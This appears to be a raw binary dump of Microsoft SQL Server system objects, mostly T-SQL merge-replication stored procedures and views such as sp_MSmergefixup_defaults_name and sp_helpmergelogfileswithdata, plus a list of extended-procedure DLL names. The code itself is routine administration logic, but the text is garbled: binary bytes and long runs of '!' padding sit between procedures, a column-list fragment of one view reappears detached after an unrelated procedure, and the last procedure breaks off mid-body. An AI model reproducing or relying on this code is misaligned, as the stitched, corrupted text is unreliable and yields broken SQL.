0[ 8--
-- Name: sp_MSmergefixup_defaults_name
--
-- Owner: QunGuo
--
-- Description: this is a helper procedure which is used by ddl trigger to 
--		handle the condition where user did not provide explicit default
--		name, by retrieving default name from system catelog view 
--		it works off  prepopulated #merge_altertable table
--
--	add default is different from the rest of constraints because 'with values'
--	is not persisted in system catelog view, we need to depend
--
--add default can have any combination of the following three varations:
--1. in column definition, or adding to existing column
--		e.g. alter table foo add bar int default 5 
--				alter table foo add bar int,  default 5 for foo_bar
--2. with or without explicit name
--		e.g. alter table foo add bar int constraint df_bar default 5 
--3. with or without 'with values' clause
--		e.g. alter table foo add bar default 5 with values

--the goal is to reform the resultset from parser so that
--1. if 'WITH VALUES' default was added in the same DDL as base column, 'addcolumn' row need to reflect this
--		e.g. 	alter table foo add bar int default 5 with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDDEFAULT		foo					WITH VALUES
--
--			alter table foo add bar int constraint df_bar default 5 with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDDEFAULT		foo	df_bar		WITH VALUES
--
--			alter table foo add bar int, default 5 for bar with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDCOLUMN		foo		
--			ADDDEFAULT		foo	df_bar		WITH VALUES
--
--			alter table foo add bar int, constraint df_bar default 5 for bar with values
--			sys.sp_replddlparser returns:
--			ADDCOLUMN		foo	bar	
--			ADDDEFAULT		foo	df_bar		WITH VALUES
--
--	in these cases parser resultset will either use base column name or explicit default name in adddefault row,
--	1.1. base column means user did not specify explicit default name, if base column exists in DDL, update the row
--				notice the middle row in the third example with empty df name, basically we are returning two rows for add default
--				in this particular case, the bottom row uses colname since default name was not specified, the middle row is redundent
--				but tells merge that there is a default without explicit name so they can reject, once merge implement similar
--				logic to handle no-name defaults, this redundent row and related logic should go away
--	1.2. explicit default name in ColumnName, use it to find base column name, if base column exists in DDL, update the row
--			
--2. if default is added to existing column, ColumnName need to reflect the real default name, regardless of 'WITH VALUES' setting
--		cuz sp_MSmergefixup_single_add will join with catelog view base on ColumnName
--		e.g. 	alter table foo add default 5 for bar
--			alter table foo add constraint df_bar default 5 for bar 
--	in these cases parser resultset will have NULL or base column name as ColumnName 
--	2.1. Null ColumnName, previous addcolumn should be the base, find default name by base column, update ColumnName
--	2.2. base column name, find default name by base column, update ColumnName
--
--
-- Parameter: 
--
-- Returns: 1 or 0   0 = success
--
-- Security: internal, not exposed
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSmergefixup_defaults_name
(
	@schemasubtype_adddf int
	,@schemasubtype_addcolumn int
	,@objid int
    ,@debug_print bit = 0
)
as
begin 
		DECLARE @basecol nvarchar(512)
						,@defaultname nvarchar(512)
						,@dfname nvarchar(512) 
						,@colattr sysname
						,@typeid nvarchar(32)
						,@modified_date datetime
						,@row_id int
						,@type_mask int
						,@done_mask int

		begin tran fixup_defaults_name
		save tran fixup_defaults_name

		DECLARE #fkcursor CURSOR LOCAL FAST_FORWARD for
			select id, ColumnName, ColumnAttr from #merge_altertable 
				where schemasubtype = @schemasubtype_adddf
					and (len(isnull(ColumnName, '')) = 0 or
						ColumnName collate database_default in (select name from sys.columns where object_id = @objid) or
						ColumnAttr = N'WITH VALUES' collate database_default) 
				order by id desc
		open #fkcursor
		fetch #fkcursor into @row_id, @dfname, @colattr
		while @@fetch_status <> -1
		begin
			if @debug_print = 1
				select 'stage' = 'sp_MSmergefixup_defaults_name:query'
										,'@row_id' = @row_id
										,'@dfname' = @dfname
										,'@colattr' = @colattr
			set @basecol = NULL
			set @defaultname = NULL
			--
			--first of all find base column name and default constraint name for current row
			--
			--if ColumnName is the default name, find base col name so we can update addcolumn row if any
			if exists(select * from sys.default_constraints dc where dc.parent_object_id = @objid and dc.name = @dfname)
			begin
				set @defaultname = @dfname
				select @basecol = c.name from sys.default_constraints dc join sys.columns c on c.object_id = dc.parent_object_id
							   				and c.column_id = dc.parent_column_id
						where dc.parent_object_id = @objid and dc.name = @defaultname
			end
			else --ColumnName is not default constraint name, it's either base column name or NULL
			begin
				--if base column name, find default constraint name, we may need to update the row later
				if exists(select * from sys.columns c where c.object_id = @objid and c.name = @dfname)
				begin
					set @basecol = @dfname
					--this deletes the redundant adddefault row with empty ColumnName
					delete from #merge_altertable where id = @row_id - 1 and 
												len(isnull(ColumnName, '')) = 0 and
												schemasubtype = @schemasubtype_adddf
					if @@ERROR > 0
						goto FAILURE
				end
				else -- ColumnName is null
				begin
					--if @colname is null, default was added without explicit name and without 'for column', 
					--which means this can not be adding to existing column, which means base column has to be added
					--in this very same DDL, find base col name by searching backward
					select top 1 @basecol = ColumnName from #merge_altertable where id < @row_id and 
							schemasubtype = @schemasubtype_addcolumn order by id desc
				end
				select @defaultname = dc.name from sys.default_constraints dc join sys.columns c on c.object_id = dc.parent_object_id
							   				and c.column_id = dc.parent_column_id
						where dc.parent_object_id = @objid and c.name = @basecol
			end	
			if @debug_print = 1
			select 'stage' = 'sp_MSmergefixup_defaults_name:setname'
									,'@defaultname' = @defaultname
									,'@basecol' = @basecol

			if @colattr = N'WITH VALUES' 
			begin
				--this affects 1 row or 0 row depending on whether base column is in the same DDL or not
				update #merge_altertable set ColumnAttr = N'WITH VALUES' 
						where ColumnName = @basecol and schemasubtype = @schemasubtype_addcolumn
				if @@ERROR > 0
					goto FAILURE
			end

			--if @dfname is null, default was added without explicit name and without 'for column', 
			--which means this can not be adding to existing column, that way we can safely delete it here since addcolumn row will take care of it in #single_ddl
			if  len(isnull(@dfname, '')) = 0
			begin
				delete from #merge_altertable where id = @row_id
				if @@ERROR > 0
					goto FAILURE
			end
			else
			begin 
				--update ColumnName to default name
				update #merge_altertable set ColumnName = @defaultname where id = @row_id
				if @@ERROR > 0
					goto FAILURE
			end
			fetch #fkcursor into @row_id, @dfname, @colattr
		end
		close #fkcursor
		deallocate #fkcursor
		commit tran fixup_defaults_name
		return 0
FAILURE:
	close #fkcursor
	deallocate #fkcursor
	rollback tran fixup_defaults_name
	commit tran
	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<`	3C10@ 8
create procedure sys.sp_MSCleanupForPullReinit (
    @publication         sysname,
    @publisher_db        sysname,
    @publisher             sysname = NULL
    ) AS
    declare @pubid         uniqueidentifier
    declare @artid         uniqueidentifier
    declare @retcode    smallint

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

	if @publisher is NULL
		set @publisher = publishingservername()

    -- This only gets called after database is enable to subscribe, so
    -- sysmergepublications should exist
    select @pubid = pubid from dbo.sysmergepublications 
        where name = @publication and 
              publisher_db = @publisher_db and
              upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) and
              status <> 7 -- REPLICA_STATUS_BeforeRestore

    /* Normal case - nothing to cleanup, just return */
    if @pubid is null
        return (1)    

    select @retcode = 0
    exec @retcode = sys.sp_MSCleanupForPullReinitWithPubId @pubid = @pubid
    
    return @retcode
0o@ j8create procedure sys.sp_helpmergelogfileswithdata(
    @publication            sysname = '%',        /* Publication name */
    @subscriber             sysname = '%',        /* Subscriber server */
    @subscriber_db          sysname = '%',        /* Subscription database */
    @publisher              sysname = '%',        /* Publisher server */
    @publisher_db           sysname = '%',        /* Publisher database */
    @web_server				sysname = '%',		  /* logs from IIS server */
    @id                     int = -1              /* id of the log file to get data for */
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    declare @retcode            int
    declare @pubid                uniqueidentifier
    declare @subid                uniqueidentifier

    IF object_id('sysmergesubscriptions') is NULL
        RETURN (0)
    
    /* Security check */
    EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @publication, 
        @raise_fatal_error = 0
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher <> '%'
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END

    /*
    ** Parameter Check:     @subscriber.
    ** If remote server, limit the view to the remote server's subscriptions.
    ** Make sure that the name isn't NULL.
    */
    if @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_helpmergelogfileswithdata')
            RETURN (1)
        END

    /*
    ** Parameter Check:     @subscriber.
    ** Check if remote server is defined as a subscription server, and
    ** that the name conforms to the rules for identifiers.
    */

    if @subscriber <> '%'
        BEGIN
            EXECUTE @retcode = sys.sp_validname @subscriber

            if @retcode <> 0 OR @@ERROR <> 0
                RETURN (1)

        END

    /*
    ** Parameter Check:     @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.     Disallow NULL.
    */
    if @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_helpmergelogfileswithdata')
            RETURN (1)
        END

    create table #helplogfileswithdata
                (
					id					 int NULL,
                	pubname				 sysname NULL,
                	publisher			 sysname NULL,
                	publisher_db		 sysname NULL,
                	subscriber_server    sysname NULL,
                	db_name              sysname NULL,
		            web_server    		 sysname NULL,                
		            file_name			 sysname NULL,
		            upload_time			 datetime NULL,
		            log_file_type		 int NULL,
		            log_file             varbinary(max) NULL
                )


    insert into #helplogfileswithdata select distinct mlf.id, pubs.name, pubs.publisher, pubs.publisher_db, subs.subscriber_server, subs.db_name, 
					mlf.web_server, mlf.file_name, mlf.upload_time, mlf.log_file_type, mlf.log_file

        FROM  dbo.MSmerge_log_files mlf,
        	  dbo.sysmergesubscriptions        subs,
              dbo.sysmergepublications    pubs
            where ( @id = -1 or @id = mlf.id)
                and pubs.pubid = subs.pubid
                and subs.pubid <> subs.subid
                and pubs.name =     @publication 
                and mlf.subid = subs.subid
                and mlf.pubid = subs.pubid
                and ((@web_server = N'%') or (mlf.web_server = @web_server collate database_default))
                and ((@subscriber_db = N'%') or (subs.db_name = @subscriber_db collate database_default))
                and ((@publisher_db = N'%') or (pubs.publisher_db = @publisher_db collate database_default))
                and ((@subscriber = N'%') or (UPPER(subs.subscriber_server) = UPPER(@subscriber) collate database_default)) 
                and ((@publisher = N'%') or (UPPER(pubs.publisher) = UPPER(@publisher) collate database_default))
        
	select * from #helplogfileswithdata
	
    drop table #helplogfileswithdata
    return @retcode 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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2`e	<	/4UH$0z@ 8create procedure sys.sp_trace_getdata
	(@traceid int,
	 @records int = 0
	)
as
select * from OpenRowset(TABLE TRCDATA, @traceid, @records)
0ڱ 8create procedure sys.sp_MSrepl_backup_complete
as
    declare @sync_bit int
    declare @dist_bit int

    set nocount on

    set @sync_bit = 32
    set @dist_bit = 16

    -- security Check
    -- BACKUP/RESTORE statements require sysadmin, dbcreator, dbo 
    if isnull(is_srvrolemember('sysadmin'),0) = 0 
        and isnull(is_srvrolemember('dbcreator'),0) = 0
        and isnull(is_member('db_owner'),0) = 0
    begin
        raiserror(18799, 16, -1) 
        return (1)
    end
    
    -- If this is a distribution database and it is marked by 'sync with backup'
    if exists (select * from master.dbo.sysdatabases where
        name = db_name() collate database_default and
        category & (@sync_bit | @dist_bit) = @sync_bit | @dist_bit)
    begin
        update MSrepl_backup_lsns set valid_xact_id = next_xact_id, 
            valid_xact_seqno = next_xact_seqno 
        if @@error <> 0
            return 1
    end

    return 0
0@ 8CREATE view sys.dm_repl_schemas
as
	SELECT 
		[artcache_schema_address]
		,[tabid]
		,[indexid]
		,[idSch]
		,[tabschema]
		,[ccTabschema]
		,[tabname]
		,[ccTabname]
		,[rowsetid_delete]
		,[rowsetid_insert]
		,[num_pk_cols]
		,[pcitee]
		,[re_numtextcols]
		,[re_schema_lsn_begin]
		,[re_schema_lsn_end]
		,[re_numcols]
		,[re_colid]
		,[re_awcName]
		,[re_ccName]
		,[re_colattr]
		,[re_maxlen]
		,[re_prec]
		,[re_scale]
		,[re_collatid]
		,[re_xvtype]
		,[re_offset]
		,[re_bitpos]
		,[re_fNullable]
		,[re_fAnsiTrim]
		,[re_computed]
		,[se_rowsetid]
		,[se_schema_lsn_begin]
		,[se_schema_lsn_end]
		,[se_numcols]
		,[se_colid]
		,[se_maxlen]
		,[se_prec]
		,[se_scale]
		,[se_collatid]
		,[se_xvtype]
		,[se_offset]
		,[se_bitpos]
		,[se_fNullable]
		,[se_fAnsiTrim]
		,[se_computed]
		,[se_nullBitInLeafRows]
	FROM OpenRowset(TABLE DM_REPL_SCHEMAS)
0@ 
8create procedure sys.sp_MSget_shifted_colv1
(
        @cols_being_dropped varbinary(128), -- cols being dropped
        @input_colv1 varbinary(2953),           -- input colv1
        @output_colv1 varbinary(2953) output -- output colv1
)
as
begin
    set @output_colv1 = NULL
    
    declare @countval int, @i smallint, @colidx smallint, 
            @colidxbits varbinary(2), @restcolv1 varbinary(10), @survivecolvs int

    -- prepare conversion table
    declare @length int, @count int, @pos int, @retcode int
    create table #tmp_cols_being_dropped
    (
            colid int,
            count int
    )
    -- bit by bit op
    set @length=datalength(@cols_being_dropped)*8
    set @count=1
    set @pos=1
    while @pos<=@length
    begin
            exec @retcode = sys.sp_MStestbit @cols_being_dropped, @pos
            if @retcode<>0
            begin
                    insert #tmp_cols_being_dropped (colid, count) values (@pos, @count)
                    set @count=@count+1
            end
            set @pos=@pos+1
    end

    if not exists (select * from #tmp_cols_being_dropped)
            return 1

    -- byte by byte op
    set @survivecolvs=0
    set @i= 0
    while (@i < DATALENGTH(@input_colv1)/12)
    begin
        set @colidx= cast(substring(@input_colv1, @i*12+2,1) as smallint)
        set @colidx= @colidx*256 + cast(substring(@input_colv1, @i*12+1,1) as smallint)
        set @restcolv1=substring(@input_colv1, @i*12+3,10)
        set @colidx=@colidx+1 -- change to colid base as 1

        -- convert @colidx
        if exists (select * from #tmp_cols_being_dropped where colid=@colidx)
                goto NEXT

        -- we have one surviving colv now
        set @survivecolvs=@survivecolvs+1
        if DATALENGTH(@output_colv1) =0 or @output_colv1 is null
            set @output_colv1=convert(binary(12), replicate(12, 0x00)) --0x000000000000000000
        else
            set @output_colv1=@output_colv1+convert(binary(12), replicate(12, 0x00))

        set @countval=NULL
        select @countval=count from #tmp_cols_being_dropped where colid in 
                (select min(colid) from #tmp_cols_being_dropped where @colidx>colid)

        -- this is colv not affected by dropping cols
        if @countval is NULL
        begin
                set @output_colv1=convert(varbinary(2953), stuff(@output_colv1, (@survivecolvs-1)*12+1, 12, substring(@input_colv1, @i*12+1,12)))
        end
        -- this colv needs to have its colidex adjusted
        else
        begin
            set @colidx=@colidx-@countval-1 -- change back to colidex base as 0
            
            set @colidxbits=0x0000
            set @colidxbits=convert(varbinary(2), stuff(@colidxbits, 1, 1, convert(binary(1), @colidx%256)))
            set @colidxbits=convert(varbinary(2), stuff(@colidxbits, 2, 1, convert(binary(1), @colidx/256)))
                    
            set @output_colv1=convert(varbinary(2953), stuff(@output_colv1, (@survivecolvs-1)*12+1, 2, @colidxbits))
            set @output_colv1=convert(varbinary(2953), stuff(@output_colv1, (@survivecolvs-1)*12+3, 10, @restcolv1))
        end
NEXT:
        set @i= @i+1
    end
    
    if DATALENGTH(@output_colv1)=0 or @output_colv1 is null
            set @output_colv1=0xFF
    else
            set @output_colv1=@output_colv1+0xFF
end

		,[re_computed]
		,[se_rowsetid]
		,[se_schema_lsn_begin]
		,[se_schema_lsn_end]
		,[se_numcols]
		,[se_colid]
		,[se_maxlen]
		,[se_prec]
		,[se_scale]
		,[se_collatid]
		,[se_xvtype]
		,[se_offset]
		,[se_bitpos]
		,[se_fNullable]
		,[se_fAnsiTrim]
		,[se_computed]
		,[se_nullBitInLeafRows]
	FROM OpenRowset(TABLE DM_REPL_SCHEMAS)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`sw<%5vw0 S8
--
-- Name: 
--  fn_MSmerge_Fix80Colv
-- 
-- Description: 
--  This function is used to fix any corrupt 80 colv entries. It is used to
--  to make the upgrade code more robust against invalid 80 colv entries in
--  MSmerge_contents table. This function is called after the column datatype
--  of the MSmerge_contents.colv1 column has been changed to 90 hence the type
--  is varbinary(2953).
--  This function makes sure the colv it returns is either 8N + 1 long.
--  (4 bytes 80 REPLNICK + 4 bytes version) * number of entries + 1 byte for FF
--
-- Parameters: 
--  See the function definition.
--
-- Returns: 
-- NULL - if input is null
-- valid 80 colv
--
--
-- Security: 
-- None as this function is not public.
--

CREATE FUNCTION sys.fn_MSmerge_Fix80Colv (
@colv varbinary(2953)
)
RETURNS varbinary(2953)
AS
BEGIN
	declare @len int
	if @colv is not null
	begin
		select @len = datalength(@colv)	
		if @len % 8 not in (0,1)
		begin			
			select @colv = substring(@colv, 1, @len - @len % 8) + 0xFF
		end
	end
	return @colv
END
0N r8-- This will be called merge at the subscriber side, check for dbo permission
create procedure sys.sp_MSdropconstraints
    @table sysname,
    @owner sysname = null
as
    declare @const_name nvarchar(258)
    declare @objid int
    declare @retcode int
    declare @qualified_tablename   nvarchar(517)
    declare @quoted_tablename   nvarchar(270)
    declare @quoted_ownername   nvarchar(270)
    
    /*
    ** Check for subscribing permission
    */
    exec @retcode=sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@ERROR<>0 return (1)

    select @quoted_tablename = quotename(@table)
    
    if @owner is not NULL
    begin
        set @quoted_ownername = QUOTENAME(@owner)
        set @qualified_tablename= @quoted_ownername + '.' + @quoted_tablename
    end
    else
        set @qualified_tablename= @quoted_tablename
    
    set @objid = object_id(@qualified_tablename)
    if @objid is null
    begin
        if @owner is null
        begin
            select @objid = object_id from sys.objects 
                where name=@quoted_tablename
        end
        else
        begin
            select @objid = object_id from sys.objects 
                where name=@quoted_tablename and schema_name(schema_id)=@quoted_ownername
        end
    end
    if @objid is NULL
        return (1)

    select @const_name = QUOTENAME(object_name(object_id)) from 
        sys.foreign_keys where parent_object_id = @objid

    while @const_name is not null
    begin
        exec ('alter table ' + @qualified_tablename +
            ' drop constraint ' + @const_name)
        if @@ERROR <> 0
            return (1)
        set @const_name = NULL
        select @const_name = QUOTENAME(object_name(object_id)) from 
            sys.foreign_keys where parent_object_id = @objid
    end

    return (0)      
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`\<,6.
0&'( B(server internal)0  B(server internal)0 B(server internal)0\ B(server internal)0`4xprepl.dll0: 6xplog70.dll0 Vrepldone extended procedure0ڪ B(server internal)0' B(server internal)0g B(server internal)0| B(server internal)0F B(server internal)0ԓk B(server internal)09 \sp_replhelp extended procedure0Z B(server internal)0h+`4xprepl.dll0w8B(server internal)0 \replposteor extended procedure0 B(server internal)0t B(server internal)0q B(server internal)0"F@ 6xplog70.dll02 B(server internal)0ܺ B(server internal)0E B(server internal)0c/ B(server internal)0V B(server internal)05k fsp_replddlparser extended procedure0>_ B(server internal)0( 4xprepl.dll0ey B(server internal)0R B(server internal)0( B(server internal)0' B(server internal)0*R B(server internal)0S B(server internal)0G B(server internal)0^ Xreplflush extended procedure0 6xplog70.dll0j+ B(server internal)08H B(server internal)0_`~sp_replincrementlsn_internal extended procedure0S B(server internal)0%xO B(server internal)0 B(server internal)0 4xprepl.dll0`B(server internal)0Ք2`B(server internal)0-t B(server internal)0z 6xplog70.dll0 B(server internal)0z B(server internal)0 \replpostcmd extended procedure0lF B(server internal)0 B(server internal)0 B(server internal)0e" 8]!0r!`xsp_replpostsyncstatus_int extended procedure0( 4xprepl.dll0-`hreplgenerateevent extended procedure0 6xpqueue.dll03 6xpqueue.dll0' 6xpqueue.dll0 6xpqueue.dll0z^ 6xpqueue.dll0P 6xpqueue.dll0yA 8odsole70.dll0Ex 8odsole70.dll0L 8odsole70.dll0 8odsole70.dll01 4xpstar.dll0 4xpstar.dll0g 4xpstar.dll0͌ 4xpstar.dll0+@`4xpstar.dll0C`4xpstar.dll0> 4xpstar.dll0I`4xpstar.dll0 4xpstar.dll0P 4xpstar.dll0`4xpstar.dll0-`4xpstar.dll0P`4xpstar.dll04 4xpstar.dll0 4xpstar.dll0>u 4xpstar.dll0o`4xpstar.dll0H`4xpstar.dll0k`4xpstar.dll0J 4xpstar.dll0z B(server internal)0$J 4xpstar.dll!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@
z


d
"
j^&2j(&
f
l

		>N		nFrj(rb f$R6r0:j(h&^J`P
<T7FD.0$= Y8
create procedure sys.sp_xml_schema_rowset2
(
    @schema_name        sysname = null,
    @target_namespace   sysname = null
)
as
---------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
---------------------------------------------------------------------------------------------
    select
        SCHEMACOLLECTION_CATALOGNAME    = xsv.SCHEMACOLLECTION_CATALOGNAME,
        SCHEMACOLLECTION_SCHEMANAME     = xsv.SCHEMACOLLECTION_SCHEMANAME,
        SCHEMACOLLECTIONNAME            = xsv.SCHEMACOLLECTIONNAME,
        TARGETNAMESPACEURI              = xsv.TARGETNAMESPACEURI,
        SCHEMACONTENT                   = xsv.SCHEMACONTENT

    from
        sys.spt_xml_schema_view xsv

    where
        xsv.xml_collection_id > 1 and -- skip 'sys' entry
        (@schema_name is null or xsv.schema_id = schema_id(@schema_name)) and
        (@target_namespace is null or @target_namespace = xsv.targetnamespaceuri)

    order by 1,2,3,4
0C@ 8-- This stored procedure is used as a response to the Replication Validation Failure Alert.
-- It will reinit the failed subscription. If the publisher is remote, it must be configured as a remote server 
-- for this procedure to work.
create procedure sys.sp_MSreinit_failed_subscriptions
@failure_level int = 0      -- 0 All failure  1 Validation failures
as

    declare @publisher sysname
    declare @publisher_db sysname
    declare @publication sysname
    declare @article sysname
    declare @publication_type int
    declare @subscriber sysname
    declare @subscriber_db sysname
    declare @agent_type int
    declare @alert_id int
    declare @proc nvarchar(100)
    declare @message nvarchar(4000)
    declare @retcode int
    declare @found bit
    declare @return_value int
    			,@current_principal sysname
    
    set nocount on

    set @found = 0          -- set if cursor returns a row
    set @return_value = 0   -- set to success

    -- Security Check: require sysadmin
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return (1)
    end

    -- For each publication validation failure, resync the subscription
    declare hc CURSOR LOCAL FAST_FORWARD for select publisher, publisher_db, publication, publication_type, article, subscriber, 
        subscriber_db, alert_id from 
        msdb.dbo.sysreplicationalerts where
        (@failure_level = 0 or (@failure_level = 1 and alert_error_code = 20574)) and   -- 20574 = validation failure
        status = 0
        for read only

    open hc
    fetch hc into  @publisher, @publisher_db, @publication, @publication_type, @article, @subscriber, @subscriber_db, @alert_id
    while (@@fetch_status <> -1)
    begin
        
		set @found = 1

		BEGIN TRY
			set @proc = QUOTENAME(@publisher) + '..sys.sp_MSGetCurrentPrincipal'
			exec @retcode = @proc
